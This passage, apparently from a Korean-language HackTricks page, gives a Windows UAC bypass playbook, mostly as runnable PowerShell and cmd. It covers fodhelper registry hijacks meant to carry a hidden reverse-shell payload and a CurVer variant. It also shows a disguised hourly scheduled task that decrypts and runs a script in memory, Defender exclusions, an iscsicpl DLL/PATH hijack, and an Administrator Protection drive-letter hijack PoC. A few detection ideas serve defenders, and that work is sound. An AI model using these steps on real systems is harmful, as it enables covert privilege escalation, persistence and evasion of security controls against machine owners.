1) Create the vulnerable key and values

New-Item -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Force | Out-Null New-ItemProperty -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Name “DelegateExecute” -Value “” -Force | Out-Null

2) Set default command to your payload (example: reverse shell or cmd)

Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)

Set-ItemProperty -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Name “(default)” -Value “powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>” -Force

3) Trigger auto-elevation

Start-Process -FilePath “C:\Windows\System32\fodhelper.exe”

4) (Recommended) Cleanup

Remove-Item -Path “HKCU:\Software\Classes\ms-settings\Shell\Open” -Recurse -Force

</details>
참고:
- 현재 사용자가 Administrators의 멤버이고 UAC level이 default/lenient일 때만 동작한다(Always Notify with extra restrictions는 아님).
- 64-bit Windows의 32-bit process에서 64-bit PowerShell을 시작하려면 `sysnative` path를 사용한다.
- Payload는 어떤 command든 가능하다(PowerShell, cmd, 또는 EXE path). stealth를 위해 UI prompt는 피한다.

#### CurVer/extension hijack variant (HKCU only)

최근 `fodhelper.exe`를 악용하는 sample들은 `DelegateExecute`를 피하고, 대신 per-user `CurVer` value를 통해 **`ms-settings` ProgID를 redirect**한다. auto-elevated binary는 여전히 `HKCU` 아래에서 handler를 resolve하므로, key를 plant하는 데 admin token이 필요하지 않다:
```powershell
# Point ms-settings to a custom extension (.thm) and map that extension to our payload
New-Item -Path "HKCU:\Software\Classes\.thm\Shell\Open" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\.thm\Shell\Open\command" -Name "(default)" -Value "C:\\ProgramData\\rKXujm.exe" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings" -Name "CurVer" -Value ".thm" -Force

Start-Process "C:\\Windows\\System32\\fodhelper.exe"   # auto-elevates and runs rKXujm.exe

권한 상승 후, malware는 일반적으로 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin을 0으로 설정하여 향후 프롬프트를 비활성화한 다음, 추가적인 defense evasion(예: Add-MpPreference -ExclusionPath C:\ProgramData)을 수행하고 high integrity로 실행되도록 persistence를 다시 생성합니다. 일반적인 persistence 작업은 디스크에 XOR-encrypted PowerShell script를 저장하고, 매시간 이를 메모리에서 디코드/실행합니다:

schtasks /create /sc hourly /tn "OneDrive Startup Task" /rl highest /tr "cmd /c powershell -w hidden $d=[IO.File]::ReadAllBytes('C:\ProgramData\VljE\zVJs.ps1');$k=[Text.Encoding]::UTF8.GetBytes('Q');for($i=0;$i -lt $d.Length;$i++){$d[$i]=$d[$i]-bxor$k[$i%$k.Length]};iex ([Text.Encoding]::UTF8.GetString($d))"

이 변종은 여전히 dropper를 정리하고 staged payload만 남기므로, 탐지는 CurVer hijack, ConsentPromptBehaviorAdmin 변조, Defender exclusion 생성, 또는 PowerShell을 메모리에서 복호화하는 scheduled tasks를 모니터링하는 데 의존하게 됩니다.

More UAC bypass

여기서 사용하는 모든 technique는 AUC를 우회하기 위해 victim과의 full interactive shell을 요구합니다(일반적인 nc.exe shell만으로는 충분하지 않음).

meterpreter session을 사용해 얻을 수 있습니다. Session 값이 1인 process로 migrate 하세요:

(explorer.exe should works)

GUI를 이용한 UAC Bypass

GUI에 access가 있다면 UAC prompt가 뜰 때 그냥 accept하면 되므로, 사실 bypass가 따로 필요하지 않습니다. 따라서 GUI에 access하는 것만으로도 UAC를 bypass할 수 있습니다.

또한, 누군가가 사용하던 GUI session(RDP를 통해 얻었을 수도 있음)을 얻었다면, 이미 administrator로 실행 중인 tool이 몇 가지 있을 수 있고, 여기서 예를 들어 https://github.com/oski02/UAC-GUI-Bypass-appverif처럼 UAC에 다시 묻히지 않고 곧바로 admin으로 cmd를 run할 수 있습니다. 이는 조금 더 stealthy할 수 있습니다.

시끄러운 brute-force UAC bypass

시끄러운 것에 신경 쓰지 않는다면, 언제든지 https://github.com/Chainski/ForceAdmin 같은 것을 run해서 사용자가 허용할 때까지 권한 상승을 요청하게 할 수 있습니다.

자신의 bypass - Basic UAC bypass methodology

UACME를 살펴보면, 대부분의 UAC bypasses는 Dll Hijacking 취약점을 악용한다는 것을 알 수 있습니다(주로 악성 dll을 _C:\Windows\System32_에 쓰는 방식). Dll Hijacking 취약점을 찾는 방법을 배우려면 이것을 읽으세요.

1. autoelevate되는 binary를 찾습니다(실행 시 high integrity level로 동작하는지 확인).
2. procmon으로 DLL Hijacking에 취약할 수 있는 “NAME NOT FOUND” 이벤트를 찾습니다.
3. 아마도 쓰기 권한이 없는 일부 protected paths(예: C:\Windows\System32) 안에 DLL을 write해야 할 것입니다. 다음을 사용해 이를 우회할 수 있습니다:
4. wusa.exe: Windows 7,8 및 8.1. 이 도구는 protected paths 안에 CAB 파일의 내용을 추출할 수 있게 해줍니다(이 도구가 high integrity level에서 실행되기 때문).
5. IFileOperation: Windows 10.
6. DLL을 protected path 안에 복사하고 취약한 autoelevated binary를 실행하는 script를 준비합니다.

또 다른 UAC bypass technique

autoelevated binary가 실행될 binary나 command의 name/path를 registry에서 읽으려 하는지 확인하는 방식입니다(특히 binary가 이 정보를 HKCU 안에서 찾는다면 더 흥미롭습니다).

SysWOW64\iscsicpl.exe + user PATH DLL hijack를 이용한 UAC bypass

32-bit C:\Windows\SysWOW64\iscsicpl.exe는 auto-elevated binary로, 검색 순서를 통해 iscsiexe.dll을 로드하도록 악용될 수 있습니다. 악성 iscsiexe.dll을 user-writable 폴더에 넣고, 그다음 현재 사용자 PATH(예: HKCU\Environment\Path를 통해)를 수정해 그 폴더가 검색되게 하면, Windows는 UAC prompt를 표시하지 않고 상승된 iscsicpl.exe process 안에서 공격자 DLL을 로드할 수 있습니다.

실전 메모:

• 현재 사용자가 Administrators에 속해 있지만 UAC 때문에 Medium Integrity에서 실행 중일 때 유용합니다.
• 이 bypass에서 관련 있는 것은 SysWOW64 복사본입니다. System32 복사본은 별도의 binary로 취급하고 동작을 독립적으로 검증하세요.
• 이 primitive는 auto-elevation과 DLL search-order hijacking의 조합이므로, 다른 UAC bypass에서 사용한 것과 같은 ProcMon workflow를 사용해 누락된 DLL 로드를 검증하는 데 유용합니다.

최소 흐름:

copy iscsiexe.dll %TEMP%\iscsiexe.dll
reg add "HKCU\Environment" /v Path /t REG_SZ /d "%TEMP%" /f
C:\Windows\System32\cmd.exe /c C:\Windows\SysWOW64\iscsicpl.exe

Detection ideas:

• reg add / registry writes to HKCU\Environment\Path 직후 C:\Windows\SysWOW64\iscsicpl.exe 실행을 경고.
• %TEMP% 또는 %LOCALAPPDATA%\Microsoft\WindowsApps 같은 user-controlled 위치에서 iscsiexe.dll을 찾기.
• iscsicpl.exe 실행과 비정상적인 자식 프로세스 또는 일반적인 Windows 디렉터리 밖에서 로드된 DLL을 상호 연관 짓기.

Administrator Protection (25H2) drive-letter hijack via per-logon-session DOS device map

Windows 11 25H2 “Administrator Protection”는 세션별 \Sessions\0\DosDevices/<LUID> 맵을 사용하는 shadow-admin tokens를 사용한다. 디렉터리는 \??가 처음 해석될 때 SeGetTokenDeviceMap에 의해 지연 생성된다. 공격자가 shadow-admin token을 SecurityIdentification 수준에서만 가장하면, 디렉터리는 공격자를 owner로 하여 생성되며(CREATOR OWNER 상속), \GLOBAL??보다 우선하는 drive-letter 링크를 허용한다.

Steps:

1. 낮은 권한의 session에서 RAiProcessRunOnce를 호출해 promptless shadow-admin runonce.exe를 생성한다.
2. 그 primary token을 identification token으로 복제하고 \??를 열 때 이를 impersonate하여 \Sessions\0\DosDevices/<LUID>가 공격자 소유로 생성되게 한다.
3. 거기에 공격자가 제어하는 storage를 가리키는 C: symlink를 만든다; 이후 해당 session의 filesystem 접근은 C:를 공격자 경로로 resolve하며, prompt 없이 DLL/file hijack이 가능해진다.

PowerShell PoC (NtObjectManager):

$pid = Invoke-RAiProcessRunOnce
$p = Get-Process -Id $pid
$t = Get-NtToken -Process $p
$id = New-NtTokenDuplicate -Token $t -ImpersonationLevel Identification
Invoke-NtToken $id -ImpersonationLevel Identification { Get-NtDirectory "\??" | Out-Null }
$auth = Get-NtTokenId -Authentication -Token $id
New-NtSymbolicLink "\Sessions\0\DosDevices/$auth/C:" "\??\\C:\\Users\\attacker\\loot"

References

• HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps
• LOLBAS: Fodhelper.exe
• LOLBAS: Iscsicpl.exe
• Microsoft Docs – User Account Control가 작동하는 방식
• UACME – UAC bypass techniques collection
• Checkpoint Research – KONNI가 AI를 사용해 PowerShell backdoors를 생성
• Check Point Research – Operation TrueChaos: 동남아 정부 대상에 대한 0-Day Exploitation
• Project Zero – Windows Administrator Protection drive-letter hijack

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기

• subscription plans를 확인하세요!
• 💬 Discord group, telegram group에 참여하고, X/Twitter에서 @hacktricks_live를 팔로우하거나, LinkedIn page와 YouTube channel을 확인하세요.
• HackTricks 및 HackTricks Cloud github repos에 PR을 제출해 hacking tricks를 공유하세요.